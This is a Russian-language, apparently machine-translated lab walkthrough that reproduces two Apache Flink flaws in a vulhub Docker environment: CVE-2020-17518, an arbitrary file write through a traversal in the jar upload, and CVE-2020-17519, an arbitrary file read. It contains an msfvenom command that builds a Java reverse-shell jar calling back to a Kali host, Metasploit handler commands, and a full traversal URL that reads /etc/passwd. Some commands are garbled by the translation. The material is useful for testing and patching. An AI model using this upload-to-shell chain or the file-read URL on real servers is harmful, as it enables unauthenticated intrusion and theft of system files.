Повторение уязвимости Apache Flink

Введение

Apache Flink - это эффективная распределенная платформа общей обработки данных. Это платформа обработки потоковых данных с открытым исходным кодом, разработанная Apache Software Foundation. Ее ядро ​​представляет собой механизм распределенного потока данных, написанный на Java и Scala (короче говоря, он похож на Spark). . Flink имеет API мониторинга, который можно использовать для запроса статуса и статистики «запущенных заданий» и «недавно завершенных заданий». API мониторинга используется в собственной панели управления Flink, а также его можно использовать для настройки инструментов мониторинга.Мониторинг по умолчанию осуществляется через порт 8081.

Эта статья включает в себя практические упражнения по следующим вопросам: инциденты сетевой безопасностиИнциденты сетевой безопасности» - этот курс состоит из тестовой среды, смоделированной некоторыми относительно серьезными инцидентами безопасности. Этот курс не только добавит прошлые инциденты безопасности, но и укрепит Следите за текущими событиями и добавляйте последние инциденты безопасности. Сообщите всем об этом с первого раза и узнайте, как защитить свою безопасность.)

1.png

API мониторинга - это REST-полнофункциональный API, который принимает HTTP-запросы и отвечает на данные в формате JSON.

Одним из API мониторинга является / jars / upload, который используется для загрузки jar-файла в кластер. Банку необходимо отправлять как составные данные. Убедитесь, что для заголовка «Content-Type» задано значение «application / x-java-archive», поскольку некоторые библиотеки http не добавляют заголовки по умолчанию. Файлы JAR можно загружать через curl

'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" < http: // имя хоста: порт / jars / upload> ;'

Обзор

Flink 1.5.1 представил REST API, но в его реализации есть много недостатков, которые приводят к уязвимостям произвольного чтения файлов (CVE-2020-17519) и произвольной записи файлов (CVE-2020-17518).

Пользователи CVE-2020-17518 *** могут использовать REST API для изменения заголовка HTTP и записи загруженного файла в любое место в локальной файловой системе (доступ к которому может получить процесс Flink 1.5.1).

CVE-2020-17519 Apache Flink 1.11.0 позволяет хакеру читать любой файл в локальной файловой системе JobManager (доступный для процесса JobManager) через REST API процесса JobManager.

Версия удара

CVE-2020-17518

Apache: Apache Flink: 1.5.1 - 1.11.2

CVE-2020-17519

Apache: Apache Flink: 1.11.0, 1.11.1, 1.11.2

Настройка среды

Поскольку версии, затронутые двумя уязвимостями, включают 1.11.2, эта версия используется для воспроизведения

Здесь мы используем среду vulhub для воспроизведения и создания нового файла docker-compose.yml.

версия: '2'

Сервисы:

здоровенный:

изображение: vulhub / flink: 1.11.2

команда: jobmanager

порты:

- «8081: 8081»

- «6123: 6123»

Используйте docker-compose для запуска среды, выполните следующую команду, чтобы загрузить образ и запустить контейнер с этим образом, сопоставленные порты - 8081 и 6123.

docker-compose up -d

доступhttp: // ip: 8081

2.png

Повторение уязвимости

Любая загрузка файла (CVE-2020-17518) воспроизводит:

Apache Flink 1.5.1 представляет обработчик REST, который позволяет записать загруженный файл в любое место локальной файловой системы через злонамеренно измененный заголовок HTTP.

доступhttp: // ip: 8081 , найдите Добавить новое или Отправить новое задание и загрузите пакет jar. Вы можете создать сжатый файл для пакета jar на рабочем столе, изменить суффикс zip на jar, а затем сохранить пакет.

3.png

Перехваченные пакеты запроса следующие:

4.png

Отправьте пакет запроса в модуль повторителя для модификации. Например, здесь я создаю новый файл в каталоге / tmp. ../ предназначен для облегчения пути переключения, потому что мы не знаем, каков текущий путь, поэтому мы можем использовать ../ для переключения на Корневая директория.

5.png

Проверьте, успешно ли загружен файл

docker ps view контейнер

6.png

Войдите в контейнер

docker exec -it ИДЕНТИФИКАТОР КОНТЕЙНЕРА / bin / bash

Вы видите, что файл был успешно загружен

7.png

Сам flink не аутентифицирован, и он поддерживает загрузку и выполнение любого пакета jar, поэтому вы можете загрузить пакет jar getshell

Сгенерируйте лошадь в формате jar

lhost - это ip kali, lport - это порт принимающей оболочки kali

msfvenom -p java / shell_reverse_tcp lhost = 192.168.74.142 lport = 1234 -f jar> /home/a.jar

8.png

Запустите msf для получения оболочки

msfconsole

использовать эксплойт / мульти / обработчик

установить полезную нагрузку java / shell_reverse_tcp

установить LHOST 192.168.74.142

комплект LPORT 1234

эксплуатировать

После загрузки пакета jar щелкните загруженный пакет, а затем «Отправить».

9.png

Доберитесь до оболочки

10.png

Произвольное чтение файла (CVE-2020-17519) воспроизводит:

Изменения, внесенные в Apache Flink 1.11.0 (а также выпущенные в 1.11.1 и 1.11.2), позволяют администратору читать любой файл в локальной файловой системе JobManager через интерфейс REST процесса JobManager. Доступ ограничен файлами, доступными для процесса JobManager.

Например, я прочитал файл passwd в / etc / здесь, а% 252f - это две кодировки URL /

< http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..% 252f ..% 252f ..% 252f ..% 252fetc% 252fpasswd> ;

11.png

Исправлена ​​ошибка

Версия безопасности была официально выпущена, пожалуйста, загрузите и обновите версию безопасности вовремя.

< https://flink.apache.org/zh/downloads.html> ;

Ссылка на ссылку

< https://github.com/vulhub/vulhub/tree/master/flink> ;

< https://www.anquanke.com/post/id/227668> ;

рекомендация

отblog.51cto.com/14601372/2597389